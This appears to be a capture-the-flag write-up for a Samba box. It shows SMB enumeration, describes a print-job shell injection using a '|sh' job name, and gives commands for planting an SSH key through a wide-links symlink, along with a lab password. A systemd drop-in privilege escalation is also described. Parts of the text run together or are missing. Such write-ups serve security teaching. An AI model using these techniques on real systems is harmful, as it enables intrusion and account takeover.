Abducted is a Samba-only box — no web server, just SSH and two SMB ports. The path in is an unauthenticated print-spooler shell injection (CVE-2026-4480) against a guest-accessible printer share, which lands as nobody. From there it's a straight line through a leaked rclone credential, password reuse into SSH, an SMB wide-links symlink abused to plant an SSH key as a second user, and a final privesc through a group-writable systemd drop-in for the Samba service.
SP1R4@kali)-[~]└$ nmap -sC -sV -A <TARGET_IP> -oA abductedPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Port
Service
Notes
22
SSH
OpenSSH 9.6p1 Ubuntu
139/445
SMB
Samba smbd 4 — NetBIOS name ABDUCTED, server string "Hartley Group Document Services"
No web server on this one — SMB is the entire attack surface. Add the hostname:
/etc/hosts
SP1R4@kali)-[~]└$ echo "<TARGET_IP> abducted.htb" | sudo tee -a /etc/hosts
SMB & RPC Enumeration
Listing shares with a null session:
smbclient -L
SP1R4@kali)-[~]└$ smbclient -L //<TARGET_IP> -NSharename Type Comment
--------- ---- -------
HP-Reception Printer Reception printer
projects Disk Hartley Group Project Files
transfer Disk Staff file transfer
IPC$ IPC IPC Service (Hartley Group Document Services)SP1R4@kali)-[~]└$ smbclient //<TARGET_IP>/projects -NNT_STATUS_ACCESS_DENIEDSP1R4@kali)-[~]└$ smbclient //<TARGET_IP>/transfer -NNT_STATUS_ACCESS_DENIED
Both disk shares reject guest access — HP-Reception is the only thing open, and it's a printer, not a file share. rpcclient against the null session pulls a username and confirms the share paths on disk:
One local user (scott), a guest-writable printer share backed by /var/spool/samba, and a print server exposed to anonymous users. Combined with the box name and a recent Samba CVE, the printer is the way in.
CVE-2026-4480 is an unauthenticated command injection in Samba's print spooler. When a print job is submitted, Samba substitutes the client-supplied job name into the configured print command via the %J token — without sanitizing shell metacharacters. Setting the job name to |sh and writing a shell payload as the job body gets that payload executed by whatever account runs smbd's print handler.
The exploit talks to the spoolss named pipe directly: open a handle on the printer, start a document with job name |sh, and write the payload as the print data.
🚩 User flag captured — svc-backup's rclone password was reused verbatim for scott's SSH account.
Enumeration as scott
No sudo rights. The Samba config is worth a second look now that there's a real shell to read it with:
smb.conf / shares.conf
scott@abducted:~$ sudo -lSorry, user scott may not run sudo on abducted.scott@abducted:~$ cat /etc/samba/shares.conf[HP-Reception]
path = /var/spool/samba
printable = yes
guest ok = yes
print command = /usr/local/bin/printaudit %J %s
[transfer]
comment = Staff file transfer
path = /srv/transfer
valid users = scott
force user = marcusread only = no
wide links = yesbrowseable = yes
print command confirms the CVE-2026-4480 chain — %J lands unescaped in the shell command. More useful right now: the transfer share runs everything as marcus (force user) and follows symlinks across share boundaries (wide links = yes). Any file written into transfer is owned by marcus, and a symlink inside it can point anywhere on disk.
Lateral Movement — SSH Key Injection via SMB Symlink
Scott can write to /srv/transfer directly on the filesystem. Planting a symlink there that points into marcus's home directory turns the SMB share into a write primitive as marcus:
symlink + smbclient upload
scott@abducted:~$ ln -s /home/marcus /srv/transfer/marcusSP1R4@kali)-[~]└$ smbclient //<TARGET_IP>/transfer -U 'scott%iXzvcib3SrpZ'smb: \> cd marcussmb: \marcus\> mkdir .sshsmb: \marcus\> cd .sshsmb: \marcus\.ssh\> put id_rsa.pub authorized_keysputting file id_rsa.pub as \marcus\.ssh\authorized_keys
SSH refuses keys that are world-readable, so the mode has to be stripped through the share before it'll be accepted:
operators owns the drop-in directory for the smbd systemd unit. Drop-ins layer extra directives onto a service without touching the base unit file — an ExecStartPre here runs as root the moment the service restarts: